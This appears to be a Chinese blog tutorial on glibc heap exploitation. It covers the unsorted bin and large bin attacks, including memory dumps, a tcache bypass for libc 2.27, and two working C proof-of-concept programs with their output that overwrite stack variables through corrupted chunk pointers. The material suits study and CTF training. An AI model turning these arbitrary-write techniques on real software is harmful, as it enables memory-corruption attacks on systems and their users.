【堆漏洞 - Unsorted bin/ Large bin Attack】

Unsorted bin Attack

Unsorted bin 的可能发生场景

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

原理

目的: 修改任意地址的内容
方法:

  1. 修改free small chunk0 ( in unsorted bin) 的 bk,使其指向 target - 0x10 的位置,即 fake chunk 的起始位置.
0x602000:    0x0000000000000000    0x0000000000000091  <-- chunk 1 [be freed]
0x602010:    0x00007ffff7dd1b78    0x00007ffff7dd1b78      <-- fd, bk pointer
# 修改bk后:
0x602000:    0x0000000000000000    0x0000000000000091  <-- chunk 1 [be freed]
0x602010:    0x00007ffff7dd1b78    0x7ffc9b1d61a0      <-- fd, fake bk pointer
0x7fffffffdc50:    0x00007fffffffdd60    0x0000000000400712  <-- target - 0x10
0x7fffffffdc60:    0x0000000000000000    0x0000000000602010  <-- fd、bk
  1. 将 unsorted bin 中的chunk 用malloc 分配回来时,执行unlink,使得 target - 0x10 + 0x10,也就是target的位置变为了 free chunk0->fd
0x7fffffffdc50:    0x00007fffffffdc80    0x0000000000400756  <-- target - 0x10
0x7fffffffdc60:    0x00007ffff7dd1b78    0x0000000000602010      <-- fd = unsortedbin_addr (libc)

关键:unlink操作

victim = unsorted_chunks(av)->bk=p
bck = victim->bk = p->bk = target addr-0x10
unsorted_chunks(av)->bk = bck = target addr-0x10
bck->fd = unsorted_chunks(av);

示例:

#include <stdio.h>
#include <stdlib.h>
int main() {
    unsigned long stack_var = 0;
    fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
    unsigned long *p  = malloc(0x80);
    unsigned long *p1 = malloc(0x10);
    fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
    free(p);
    fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
    p[1] = (unsigned long)(&stack_var - 2);
    fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
    malloc(0x80);  //这里会unlink分配chunk,是stack_var值发生改变的原因
    fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
}

输出:

$ gcc -g unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0

Now, we allocate first small chunk on the heap at: 0x1066010
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
We write it with the target address-0x10: 0x7ffc9b1d61a0

Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78

libc-2.27 中绕过tcache

tcache 的存在
malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。

问题

  • unsorted bin 的 chunk在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 “chunk” 是过不了检查的,将抛出 “memory corruption” 的错误
  • 需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出

解决
利用 tcache poisoning,将 counts 修改成了 0xff,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:

#if USE_TCACHE
          /* Fill cache first, return to user only if cache fills.
         We may return one of these chunks later.  */
          if (tcache_nb
          && tcache->counts[tc_idx] < mp_.tcache_count)
        {
          tcache_put (victim, tc_idx);
          return_cached = 1;
          continue;
        }
          else
        {
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;

Large bin Attack

利用背景

在 malloc 时,会遍历 unsorted bin,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中。

版本限制

libc 2.23
libc 2.29及以下

fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;

unsorted chunk 小于链表中最小的 chunk 的时候会执行前一句,反之执行后一句。

libc 2.30
使 unsorted chunk 大于链表中最小的 chunk 时的利用失效,必须使 unsorted chunk 小于链表中最小的 chunk。

victim->bk_nextsize->fd_nextsize = victim;

利用目的

修改任意地址的值,常常作为其他漏洞利用的前奏,例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值

示例

#include<stdio.h>
#include<stdlib.h>
int main() {
    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;
    fprintf(stderr, "The targets we want to rewrite on stack:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
    unsigned long *p1 = malloc(0x100);
    fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
    malloc(0x10);
    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
    malloc(0x10);
    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
    malloc(0x10);
    // deal with tcache - libc-2.26
    // int *a[10], *b[10], i;
    // for (i = 0; i < 7; i++) {
    //     a[i] = malloc(0x100);
    //     b[i] = malloc(0x400);
    // }
    // for (i = 0; i < 7; i++) {
    //     free(a[i]);
    //     free(b[i]);
    // }
    free(p1);
    free(p2);
    fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
    malloc(0x30);
    fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);
    fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
    free(p3);
    malloc(0x30);
    fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
}
$ gcc -g large_bin_attack.c
$ ./a.out 
The targets we want to rewrite on stack:
stack_var1 (0x7fffffffdeb0): 0
stack_var2 (0x7fffffffdeb8): 0
Now, we allocate the first chunk: 0x555555757000
Then, we allocate the second chunk(large chunk): 0x555555757130
Finally, we allocate the third chunk(large chunk): 0x555555757560
Now, We free the first and the second chunks now and they will be inserted in the unsorted bin
Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist
Now we use a vulnerability to overwrite the freed second chunk
Finally, we free the third chunk and malloc again, targets should have already been rewritten:
stack_var1 (0x7fffffffdeb0): 0x555555757560
stack_var2 (0x7fffffffdeb8): 0x555555757560

重点在于如果存在某个漏洞,我们可以对p2进行修改

gef➤  x/8gx p2-2
0x555555757130:    0x0000000000000000    0x00000000000003f1  <-- fake p2 [be freed]
0x555555757140:    0x0000000000000000    0x00007fffffffde60      <-- bk
0x555555757150:    0x0000000000000000    0x00007fffffffde58      <-- bk_nextsize
0x555555757160:    0x0000000000000000    0x0000000000000000

由于在p3放入large bin的时候有两句 bck->fd = victim;victim->bk_nextsize->fd_nextsize = victim;实现了在栈stack_var1和stack_var2处写入了victim。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值